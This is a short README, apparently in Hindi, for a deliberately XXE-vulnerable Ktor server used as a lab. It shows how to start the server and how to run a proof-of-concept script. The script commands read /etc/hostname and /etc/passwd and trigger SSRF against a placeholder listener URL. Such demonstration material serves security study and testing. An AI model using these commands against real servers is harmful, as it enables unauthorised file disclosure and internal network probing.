ktor-xxe

प्रोजेक्ट को इसके साथ चलाएं :

| ./gradlew run | सर्वर चलाएं |

यदि सर्वर सफलतापूर्वक प्रारंभ होता है, तो आपको निम्न आउटपुट दिखाई देगा:

2024-12-04 14:32:45.584 [main] INFO  Application - Application started in 0.303 seconds.
2024-12-04 14:32:45.682 [main] INFO  Application - Responding at http://0.0.0.0:8080

XXE poc का उपयोग करने के लिए:

फ़ाइल प्रकटीकरण

python3 poc.py http://localhost:8080 --file /etc/hostname
python3 poc.py http://localhost:8080 --file /etc/passwd

SSRF

python3 poc.py http://localhost:8080 --url http://listeneraddress/